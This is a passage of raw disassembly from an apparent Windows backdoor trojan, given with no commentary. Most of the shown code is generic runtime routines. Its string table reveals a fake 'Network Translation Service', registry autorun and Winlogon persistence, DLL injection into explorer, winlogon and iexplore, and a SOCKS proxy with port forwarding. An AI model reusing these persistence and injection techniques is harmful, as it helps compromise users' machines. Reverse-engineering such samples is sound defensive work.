mov [ebp+var_8], edx mov byte ptr [eax], 0Dh loc_44DB1D: ; CODE XREF: sub_44D811+180j ; sub_44D811+1DEj ... mov eax, [ebp+arg_4] add eax, edi cmp esi, eax jb loc_44D996 loc_44DB2A: ; CODE XREF: sub_44D811+1A3j ; sub_44D811+1C4j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov edi, eax loc_44DB34: ; CODE XREF: sub_44D811+12Cj mov eax, edi loc_44DB36: ; CODE XREF: sub_44D811+37j ; sub_44D811+EAj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44D811 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A88 jnb short loc_44DB6C mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44DB7C loc_44DB6C: ; CODE XREF: DMN1:0044DB4Fj call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44DB9F ; --------------------------------------------------------------------------- loc_44DB7C: ; CODE XREF: DMN1:0044DB6Aj push ebx call sub_44BC01 pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_44D811 add esp, 0Ch mov esi, eax push ebx call sub_44BC61 pop ecx mov eax, esi loc_44DB9F: ; CODE XREF: DMN1:0044DB7Aj pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax call sub_44DD21 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44DBD1 proc near ; CODE XREF: sub_44C861+35Fp ; sub_44DD21+46p var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1014h call sub_4486B1 push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_4], 0 push 1 push 0 push ebx call sub_44CD71 add esp, 0Ch mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_44DC15 push 2 push 0 push ebx call sub_44CD71 add esp, 0Ch mov [ebp+var_8], eax cmp eax, 0FFFFFFFFh jnz short loc_44DC1D loc_44DC15: ; CODE XREF: sub_44DBD1+2Dj or eax, 0FFFFFFFFh jmp loc_44DD11 ; --------------------------------------------------------------------------- loc_44DC1D: ; CODE XREF: sub_44DBD1+42j mov eax, [ebp+arg_4] mov esi, eax sub esi, [ebp+var_8] test esi, esi jle loc_44DCC2 lea edx, [ebp+var_1010] mov ecx, 1000h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx push 8000h push ebx call sub_44E161 add esp, 8 mov [ebp+var_10], eax loc_44DC53: ; CODE XREF: sub_44DBD1+E0j cmp esi, 1000h jb short loc_44DC67 mov [ebp+var_1014], 1000h jmp short loc_44DC6F ; --------------------------------------------------------------------------- loc_44DC67: ; CODE XREF: sub_44DBD1+88j mov eax, esi mov [ebp+var_1014], eax loc_44DC6F: ; CODE XREF: sub_44DBD1+94j mov eax, [ebp+var_1014] push eax lea eax, [ebp+var_1010] push eax push ebx call sub_44B5F1 add esp, 0Ch mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_44DCA9 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 5 jnz short loc_44DCA3 call sub_449321 mov dword ptr [eax], 0Dh loc_44DCA3: ; CODE XREF: sub_44DBD1+C5j or [ebp+var_4], 0FFFFFFFFh jmp short loc_44DCB3 ; --------------------------------------------------------------------------- loc_44DCA9: ; CODE XREF: sub_44DBD1+BAj mov eax, esi sub eax, edi mov esi, eax test eax, eax jg short loc_44DC53 loc_44DCB3: ; CODE XREF: sub_44DBD1+D6j mov eax, [ebp+var_10] push eax push ebx call sub_44E161 add esp, 8 jmp short loc_44DCFF ; --------------------------------------------------------------------------- loc_44DCC2: ; CODE XREF: sub_44DBD1+56j test esi, esi jge short loc_44DCFF push 0 mov eax, [ebp+arg_4] push eax push ebx call sub_44CD71 add esp, 0Ch push ebx call sub_44BAE1 pop ecx push eax call dword_411E1C ; SetEndOfFile test eax, eax setnz al and eax, 1 dec eax mov [ebp+var_4], eax cmp eax, 0FFFFFFFFh jnz short loc_44DCFF call sub_449321 mov dword ptr [eax], 0Dh loc_44DCFF: ; CODE XREF: sub_44DBD1+EFj ; sub_44DBD1+F3j ... push 0 mov eax, [ebp+var_C] push eax push ebx call sub_44CD71 add esp, 0Ch mov eax, [ebp+var_4] loc_44DD11: ; CODE XREF: sub_44DBD1+47j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44DBD1 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44DD21 proc near ; CODE XREF: DMN1:0044DBBCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A88 jnb short loc_44DD4A mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44DD5A loc_44DD4A: ; CODE XREF: sub_44DD21+Cj call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44DD7A ; --------------------------------------------------------------------------- loc_44DD5A: ; CODE XREF: sub_44DD21+27j push ebx call sub_44BC01 pop ecx mov eax, [esp+8+arg_4] push eax push ebx call sub_44DBD1 add esp, 8 mov esi, eax push ebx call sub_44BC61 pop ecx mov eax, esi loc_44DD7A: ; CODE XREF: sub_44DD21+37j pop esi pop ebx retn sub_44DD21 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44DD81 proc near ; CODE XREF: sub_44CC41+EFp ; sub_44CC41+100p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] jmp loc_44DE3E ; --------------------------------------------------------------------------- loc_44DD95: ; CODE XREF: sub_44DD81+C0j mov eax, [esi+18h] cmp eax, [esi+10h] ja short loc_44DDB0 push esi call sub_449E21 pop ecx test eax, eax jge short loc_44DDB0 or eax, 0FFFFFFFFh jmp loc_44DE60 ; --------------------------------------------------------------------------- loc_44DDB0: ; CODE XREF: sub_44DD81+1Aj ; sub_44DD81+25j test word ptr [esi], 400h jz short loc_44DDC7 push 0Ah push ebx call sub_44E271 add esp, 8 mov [ebp+var_C], eax jmp short loc_44DDCE ; --------------------------------------------------------------------------- loc_44DDC7: ; CODE XREF: sub_44DD81+34j mov [ebp+var_C], 0 loc_44DDCE: ; CODE XREF: sub_44DD81+44j mov eax, [ebp+var_C] mov [ebp+var_4], eax test eax, eax jz short loc_44DDE3 mov eax, [ebp+var_4] sub eax, ebx inc eax mov [ebp+var_10], eax jmp short loc_44DDF2 ; --------------------------------------------------------------------------- loc_44DDE3: ; CODE XREF: sub_44DD81+55j mov edx, ebx or eax, 0FFFFFFFFh loc_44DDE8: ; CODE XREF: sub_44DD81+6Cj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44DDE8 mov [ebp+var_10], eax loc_44DDF2: ; CODE XREF: sub_44DD81+60j mov edi, [ebp+var_10] mov eax, [esi+18h] mov edx, [esi+10h] sub eax, edx mov [ebp+var_8], eax cmp [ebp+var_8], edi jnb short loc_44DE0F mov [ebp+var_4], 0 mov edi, [ebp+var_8] loc_44DE0F: ; CODE XREF: sub_44DD81+82j push edi push ebx mov eax, [esi+10h] push eax call sub_4485B1 add esp, 0Ch add ebx, edi lea eax, [esi+10h] mov edx, [eax] add edx, edi mov [eax], edx cmp [ebp+var_4], 0 jz short loc_44DE3E push esi call sub_449C21 pop ecx test eax, eax jz short loc_44DE3E or eax, 0FFFFFFFFh jmp short loc_44DE60 ; --------------------------------------------------------------------------- loc_44DE3E: ; CODE XREF: sub_44DD81+Fj ; sub_44DD81+ABj ... cmp byte ptr [ebx], 0 jnz loc_44DD95 test word ptr [esi], 800h jz short loc_44DE5E push esi call sub_449C21 pop ecx test eax, eax jz short loc_44DE5E or eax, 0FFFFFFFFh jmp short loc_44DE60 ; --------------------------------------------------------------------------- loc_44DE5E: ; CODE XREF: sub_44DD81+CBj ; sub_44DD81+D6j xor eax, eax loc_44DE60: ; CODE XREF: sub_44DD81+2Aj ; sub_44DD81+BBj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44DD81 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44DE71 proc near ; CODE XREF: sub_44D291+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_4] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_44DEC7 mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 test word ptr [ebx+6], 0Fh jnz short loc_44DEB3 cmp word ptr [ebx+4], 0 jnz short loc_44DEB3 cmp word ptr [ebx+2], 0 jnz short loc_44DEB3 cmp word ptr [ebx], 0 jz short loc_44DEBA loc_44DEB3: ; CODE XREF: sub_44DE71+2Cj ; sub_44DE71+33j ... mov edi, 2 jmp short loc_44DEBF ; --------------------------------------------------------------------------- loc_44DEBA: ; CODE XREF: sub_44DE71+40j mov edi, 1 loc_44DEBF: ; CODE XREF: sub_44DE71+47j mov ax, di movsx eax, ax jmp short loc_44DF0B ; --------------------------------------------------------------------------- loc_44DEC7: ; CODE XREF: sub_44DE71+1Bj test si, si jg short loc_44DEDB push ebx call sub_44E291 pop ecx mov si, ax test ax, ax jg short loc_44DF00 loc_44DEDB: ; CODE XREF: sub_44DE71+59j movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh or eax, 3FE0h mov [ebx+6], ax mov edx, [esp+0Ch+arg_0] mov ax, si sub ax, 3FEh mov [edx], ax or eax, 0FFFFFFFFh jmp short loc_44DF0B ; --------------------------------------------------------------------------- loc_44DF00: ; CODE XREF: sub_44DE71+68j mov edx, [esp+0Ch+arg_0] mov word ptr [edx], 0 xor eax, eax loc_44DF0B: ; CODE XREF: sub_44DE71+54j ; sub_44DE71+8Dj pop edi pop esi pop ebx retn sub_44DE71 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44DF11 proc near ; CODE XREF: sub_44D2B1+Bp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] movzx eax, word ptr [ebx+6] and eax, 7FF0h sar eax, 4 mov si, ax cmp si, 7FFh jnz short loc_44DF66 test word ptr [ebx+6], 0Fh jnz short loc_44DF4F cmp word ptr [ebx+4], 0 jnz short loc_44DF4F cmp word ptr [ebx+2], 0 jnz short loc_44DF4F cmp word ptr [ebx], 0 jz short loc_44DF56 loc_44DF4F: ; CODE XREF: sub_44DF11+28j ; sub_44DF11+2Fj ... mov edi, 2 jmp short loc_44DF5B ; --------------------------------------------------------------------------- loc_44DF56: ; CODE XREF: sub_44DF11+3Cj mov edi, 1 loc_44DF5B: ; CODE XREF: sub_44DF11+43j mov ax, di movsx eax, ax jmp loc_44E11B ; --------------------------------------------------------------------------- loc_44DF66: ; CODE XREF: sub_44DF11+20j test si, si jnz short loc_44DF81 push ebx call sub_44E291 pop ecx mov si, ax test ax, ax jle short loc_44DF81 xor eax, eax jmp loc_44E11B ; --------------------------------------------------------------------------- loc_44DF81: ; CODE XREF: sub_44DF11+58j ; sub_44DF11+67j movsx eax, si mov edx, [ebp+arg_4] add eax, edx mov [ebp+arg_4], eax cmp eax, 7FFh jl short loc_44DFC3 test word ptr [ebx+6], 8000h jz short loc_44DFA8 fld dbl_4119DC fchs fstp [ebp+var_8] jmp short loc_44DFB1 ; --------------------------------------------------------------------------- loc_44DFA8: ; CODE XREF: sub_44DF11+88j fld dbl_4119DC fstp [ebp+var_8] loc_44DFB1: ; CODE XREF: sub_44DF11+95j mov eax, [ebp+arg_0] fld [ebp+var_8] fstp qword ptr [eax] mov eax, 1 jmp loc_44E11B ; --------------------------------------------------------------------------- loc_44DFC3: ; CODE XREF: sub_44DF11+80j cmp [ebp+arg_4], 0 jle short loc_44DFE9 movzx eax, word ptr [ebx+6] and eax, 0FFFF800Fh mov edx, [ebp+arg_4] movsx edx, dx shl edx, 4 or eax, edx mov [ebx+6], ax or eax, 0FFFFFFFFh jmp loc_44E11B ; --------------------------------------------------------------------------- loc_44DFE9: ; CODE XREF: sub_44DF11+B6j mov ax, [ebx+6] and ax, 8000h mov word ptr [ebp+var_8+6], ax movzx eax, word ptr [ebx+6] and eax, 0Fh or eax, 10h mov [ebx+6], ax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax cmp eax, 0FFFFFFCCh jge short loc_44E02F mov ax, word ptr [ebp+var_8+6] mov [ebx+6], ax mov word ptr [ebx+4], 0 mov word ptr [ebx+2], 0 mov word ptr [ebx], 0 xor eax, eax jmp loc_44E11B ; --------------------------------------------------------------------------- loc_44E02F: ; CODE XREF: sub_44DF11+FCj mov eax, [ebp+arg_4] mov word ptr [ebp+var_8+4], ax jmp short loc_44E05A ; --------------------------------------------------------------------------- loc_44E038: ; CODE XREF: sub_44DF11+14Ej mov ax, [ebx+2] mov [ebx], ax mov ax, [ebx+4] mov [ebx+2], ax mov ax, [ebx+6] mov [ebx+4], ax mov word ptr [ebx+6], 0 add word ptr [ebp+var_8+4], 10h loc_44E05A: ; CODE XREF: sub_44DF11+125j cmp word ptr [ebp+var_8+4], 0FFF0h jle short loc_44E038 movsx eax, word ptr [ebp+var_8+4] neg eax mov word ptr [ebp+var_8+4], ax test ax, ax jz loc_44E110 movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx] mov ecx, eax sar edx, cl mov dword ptr [ebp+var_8], edx movzx ecx, word ptr [ebx+2] mov [ebp+var_C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_C] shl eax, cl mov edx, dword ptr [ebp+var_8] or edx, eax mov ax, dx mov [ebx], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+2] mov ecx, eax sar edx, cl mov [ebp+var_10], edx movzx ecx, word ptr [ebx+4] mov [ebp+var_14], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_14] shl eax, cl mov edx, [ebp+var_10] or edx, eax mov ax, dx mov [ebx+2], ax movsx eax, word ptr [ebp+var_8+4] movzx edx, word ptr [ebx+4] mov ecx, eax sar edx, cl mov [ebp+var_18], edx movzx ecx, word ptr [ebx+6] mov [ebp+var_1C], ecx mov edx, 10h mov ecx, edx sub ecx, eax mov eax, [ebp+var_1C] shl eax, cl mov edx, [ebp+var_18] or edx, eax mov ax, dx mov [ebx+4], ax movzx eax, word ptr [ebx+6] movsx ecx, word ptr [ebp+var_8+4] sar eax, cl mov [ebx+6], ax loc_44E110: ; CODE XREF: sub_44DF11+15Dj mov ax, word ptr [ebp+var_8+6] or [ebx+6], ax or eax, 0FFFFFFFFh loc_44E11B: ; CODE XREF: sub_44DF11+50j ; sub_44DF11+6Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44DF11 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E131 proc near ; CODE XREF: sub_44D331+409p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_44E131 endp ; =============== S U B R O U T I N E ======================================= sub_44E161 proc near ; CODE XREF: sub_44DBD1+77p ; sub_44DBD1+E7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] movzx eax, byte ptr [edx+eax+4] mov esi, eax and esi, 80h cmp [esp+8+arg_4], 8000h jnz short loc_44E1B7 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] movzx edx, byte ptr [eax] and edx, 0FFFFFF7Fh mov [eax], dl jmp short loc_44E1EE ; --------------------------------------------------------------------------- loc_44E1B7: ; CODE XREF: sub_44E161+2Fj cmp [esp+8+arg_4], 4000h jnz short loc_44E1DE mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 80h jmp short loc_44E1EE ; --------------------------------------------------------------------------- loc_44E1DE: ; CODE XREF: sub_44E161+5Ej call sub_449321 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_44E201 ; --------------------------------------------------------------------------- loc_44E1EE: ; CODE XREF: sub_44E161+54j ; sub_44E161+7Bj test esi, esi setnz al and eax, 1 dec eax and eax, 4000h add eax, 4000h loc_44E201: ; CODE XREF: sub_44E161+8Bj pop esi pop ebx retn sub_44E161 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] cmp ebx, dword_413A88 jnb short loc_44E23A mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44E24A loc_44E23A: ; CODE XREF: DMN1:0044E21Dj call sub_449321 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44E26A ; --------------------------------------------------------------------------- loc_44E24A: ; CODE XREF: DMN1:0044E238j push ebx call sub_44BC01 pop ecx mov eax, [esp+10h] push eax push ebx call sub_44E161 add esp, 8 mov esi, eax push ebx call sub_44BC61 pop ecx mov eax, esi loc_44E26A: ; CODE XREF: DMN1:0044E248j pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_44E271 proc near ; CODE XREF: sub_44DD81+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ecx, [esp+4+arg_0] mov eax, [esp+4+arg_4] mov bl, al xor edx, edx loc_44E27E: ; CODE XREF: sub_44E271+19j cmp [ecx], bl jnz short loc_44E284 mov edx, ecx loc_44E284: ; CODE XREF: sub_44E271+Fj cmp byte ptr [ecx], 0 jz short loc_44E28C inc ecx jmp short loc_44E27E ; --------------------------------------------------------------------------- loc_44E28C: ; CODE XREF: sub_44E271+16j mov eax, edx pop ebx retn sub_44E271 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_44E291 proc near ; CODE XREF: sub_44DE71+5Cp ; sub_44DF11+5Bp arg_0 = dword ptr 4 push ebx push edi mov ecx, [esp+8+arg_0] mov ax, [ecx+6] mov di, ax and di, 8000h mov bx, 1 mov ax, [ecx+6] and ax, 0Fh mov [ecx+6], ax test ax, ax jnz short loc_44E2D0 cmp word ptr [ecx+4], 0 jnz short loc_44E2D0 cmp word ptr [ecx+2], 0 jnz short loc_44E2D0 cmp word ptr [ecx], 0 jz loc_44E38A loc_44E2D0: ; CODE XREF: sub_44E291+25j ; sub_44E291+2Cj ... jmp short loc_44E2F2 ; --------------------------------------------------------------------------- loc_44E2D2: ; CODE XREF: sub_44E291+66j mov ax, [ecx+4] mov [ecx+6], ax mov ax, [ecx+2] mov [ecx+4], ax mov ax, [ecx] mov [ecx+2], ax mov word ptr [ecx], 0 sub bx, 10h loc_44E2F2: ; CODE XREF: sub_44E291:loc_44E2D0j cmp word ptr [ecx+6], 0 jz short loc_44E2D2 jmp short loc_44E338 ; --------------------------------------------------------------------------- loc_44E2FB: ; CODE XREF: sub_44E291+ACj movzx eax, word ptr [ecx+6] add eax, eax movzx edx, word ptr [ecx+4] sar edx, 0Fh or eax, edx mov [ecx+6], ax movzx eax, word ptr [ecx+4] add eax, eax movzx edx, word ptr [ecx+2] sar edx, 0Fh or eax, edx mov [ecx+4], ax movzx eax, word ptr [ecx+2] add eax, eax movzx edx, word ptr [ecx] sar edx, 0Fh or eax, edx mov [ecx+2], ax shl word ptr [ecx], 1 dec bx loc_44E338: ; CODE XREF: sub_44E291+68j cmp word ptr [ecx+6], 10h jb short loc_44E2FB jmp short loc_44E37E ; --------------------------------------------------------------------------- loc_44E341: ; CODE XREF: sub_44E291+F2j movzx eax, word ptr [ecx] sar eax, 1 movzx edx, word ptr [ecx+2] shl edx, 0Fh or eax, edx mov [ecx], ax movzx eax, word ptr [ecx+2] sar eax, 1 movzx edx, word ptr [ecx+4] shl edx, 0Fh or eax, edx mov [ecx+2], ax movzx eax, word ptr [ecx+4] sar eax, 1 movzx edx, word ptr [ecx+6] shl edx, 0Fh or eax, edx mov [ecx+4], ax shr word ptr [ecx+6], 1 inc bx loc_44E37E: ; CODE XREF: sub_44E291+AEj cmp word ptr [ecx+6], 20h jnb short loc_44E341 and word ptr [ecx+6], 0Fh loc_44E38A: ; CODE XREF: sub_44E291+39j or [ecx+6], di movsx eax, bx pop edi pop ebx retn sub_44E291 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44E3A1 proc near ; CODE XREF: sub_449411+13p jmp dword_411DAC sub_44E3A1 endp ; --------------------------------------------------------------------------- align 4 dd 76h dup(0) dd 6E6F6400h, 0A2E65h aNotDaemonize_0 db 'not daemonized...',0Ah,0 aInitializing_0 db 'initializing service startup sequence...',0Ah,0 aServiceInsta_0 db 'service installed ok...',0Ah,0 aInstallingSe_1 db 'installing service...',0Ah,0 aRegisteredSe_2 db 'registered service is not running, unrest.',0Ah,0 aStartingServ_0 db 'starting service...',0Ah,0 aI_0 db '%i',0Ah,0 aInstallingSe_2 db 'installing service, res=',0 aRegisteredSe_3 db 'registered service is not running.',0Ah,0 aRegisteredSe_4 db 'registered service is here...',0Ah,0 aDonTRegister_0 db 'DON',27h,'T register it',0Ah,0 aRegisterItAn_0 db 'register it and restart',0Ah,0 aNoRegistered_0 db 'no registered service, ',0 aWaitingCompl_0 db '*** waiting complete...',0Ah,0 aWaiting____0 db '*** waiting...',0Ah,0 aRemovingS_0 db 'removing: <%s>',0Ah,0 aInitializing_1 db 'initializing winsock library...',0Ah,0 aCopyingFaile_0 db 'copying failed %%-(',0Ah,0 aCreateproces_0 db 'CreateProcess() failed %%-(',0Ah,0 aCmdlineS_0 db 'cmdline: <%s>',0Ah,0 aCopying____0 db 'copying...',0Ah,0 aNewSOldSSelf_0 db 'new=<%s>, old=<%s>, self=<%s>',0Dh,0Ah,0 aWaiting10Sec_0 db 'waiting 10 secs -- shutdown...',0Dh,0Ah,0 aShutdownmute_0 db 'ShutdownMutexCreate()=%i, h=%i',0Dh,0Ah,0 aUpdate_1 db '*update',0 aInjectionthr_0 db 'InjectionThread complete',0Ah,0 aDllStopped___0 db 'DLL stopped...',0Ah,0 aDying_0 db 'dying',0Ah,0 aWaitingForDl_0 db 'waiting for <DLL dies> event...',0Ah,0 aExplorer_exe_0 db 'explorer.exe',0 aWinlogon_exe_0 db 'winlogon.exe',0 aIexplore_exe_0 db 'iexplore.exe',0 aOldDllFoundW_0 db 'old DLL found; waiting for <DLL dies> event...',0Ah,0 aTryingSWithS_0 db 'trying <%s> with <%s> failed',0Ah,0 aTryingSWithS_1 db 'trying <%s> with <%s>',0Ah,0 aDllInjected_0 db 'DLL injected!',0Ah,0 aThreadComple_0 db 'thread complete (%i).',0Ah,0 aThreadInject_0 db 'thread injected (%i).',0Ah,0 aProcessOpene_0 db 'process opened.',0Ah,0 aS_2 db '<%s>',0Ah,0 aWriteprocess_0 db 'WriteProcessMemory() ok',0Ah,0 aGetlasterror_1 db 'GetLastError',0 aExitthread_1 db 'ExitThread',0 aLoadlibrarya_0 db 'LoadLibraryA',0 aKernel32_dll_0 db 'kernel32.dll',0 aVirtualalloc_0 db 'VirtualAllocEx() ok',0Ah,0 aSedebugprivi_0 db 'SeDebugPrivilege',0 aDllNotExtrac_0 db 'DLL not extracted.',0Ah,0 aDllOkS_0 db 'DLL ok: <%s>',0Ah,0 aTryingDllS_0 db 'trying DLL: <%s>',0Ah,0 aDllFoundS_0 db ' DLL found: <%s>',0Ah,0 aCheckingDllS_0 db 'checking DLL: <%s>',0Ah,0 a000_tmp_0 db '000.tmp',0 aNts__0 db 'nts_',0 aOldDllS_0 db 'old DLL: <%s>',0Ah,0 aR_0 db 'r',0 aFileSWritten_0 db 'file <%s> written, wsz=%i',0Ah,0 aFileSCreated_0 db 'file <%s> created',0Ah,0 aFileSNotCrea_0 db 'file <%s> NOT created',0Ah,0 aWb_1 db 'wb+',0 aResourceHere_0 db 'resource here, size: %i',0Ah,0 a8001_0 db '#8001',0 aDlltestliste_3 db 'DLLTestListenThread: done...',0Ah,0 aDlltestliste_4 db 'DLLTestListenThread: accepting...',0Ah,0 aDlltestliste_5 db 'DLLTestListenThread: listening...',0Ah,0 aDlltestliste_6 db 'DLLTestListenThread: binding...',0Ah,0 aDlltestthrea_0 db 'DLLTestThread: pulsing...',0Ah,0 db '**',0 aServicefixer_0 db 'ServiceFixerThread started.',0Ah,0 db '" ',0 aRegisterserv_1 db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0 aSetservicest_3 db 'SetServiceStatus(): stopped',0Ah,0 aSetservicest_4 db 'SetServiceStatus(): running',0Ah,0 aSetservicest_5 db 'SetServiceStatus(): start pending',0Ah,0 aServicectrld_0 db 'ServiceCtrlDispatcher()',0Ah,0 aWaitingForSt_0 db 'WAITING FOR STOP EVENT!',0Ah,0 aEventCreaton_0 db 'EVENT CREATON ERROR: %i',0Ah,0 aEventCreated_0 db 'EVENT CREATED.',0Ah,0 aWritingToHkc_0 db 'writing to HKCU/autorun key...',0Ah,0 aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 aWritingToHkl_0 db 'writing to HKLM/autorun key...',0Ah,0 db '*',0 aLoad_0 db 'load',0 aSoftwareMicr_3 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0 db ',',0 aUserinit_0 db 'Userinit',0 aSoftwareMicr_4 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0 aStartupprogr_0 db 'StartupPrograms',0 aSystemCurren_2 db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0 aRegreadCanTR_0 db 'RegRead(): can',27h,'t read key %s',0Ah,0 aRegreadReadI_0 db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 aRegreadOpene_0 db 'RegRead(): opened %s',0Ah,0 a6ea9b038C801_1 db '{6EA9B038-C801-4F76-805F-E41ACF9ED164}',0 aDescription_0 db 'Description',0 aDisplayname_0 db 'DisplayName',0 aLocalsystem_0 db 'LocalSystem',0 aObjectname_0 db 'ObjectName',0 aErrorcontrol_0 db 'ErrorControl',0 aStart_0 db 'Start',0 aType_0 db 'Type',0 aImagepath_0 db 'ImagePath',0 aSystemCurren_3 db 'SYSTEM\CurrentControlSet\Services\',0 aProvidesHard_0 db 'Provides hardware-to-software binary network translation support ' db 'for network protocols. This service can not be stopped.',0 aServiceRegis_0 db 'service registered',0Ah,0 aNetworkTrans_0 db 'Network Translation Service',0 aStartingComm_0 db 'starting COMM thread...',0Ah,0 aNatpmpForwar_0 db 'NATPMP: forwarded to: %i',0Ah,0 aSocksPortI_0 db 'SOCKS port: %i',0Ah,0 aCanTBindList_0 db 'can',27h,'t bind listen socket!',0Ah,0 aListener____0 db 'listener...',0Ah,0 aConnectionCl_0 db 'connection closed.',0Ah,0 aDataExchange_0 db 'data exchange complete',0Ah,0 aTransferring_0 db 'transferring data...',0Ah,0 aConnectedToS_0 db 'connected to %s:%i',0Ah,0 aConnectionTo_0 db 'connection to %s:%i failed! %-( (%i)',0Ah,0 aConnectingTo_0 db 'connecting to %s:%i',0Ah,0 aSocksVIS_0 db 'socks v%i [%s]',0Ah,0 aConnectionRe_0 db 'connection rejected (from [%s])',0Ah,0 aConnectionFr_0 db 'connection from [%s]',0Ah,0 a_win32__nts__0 db '_win32__nts_um__',0 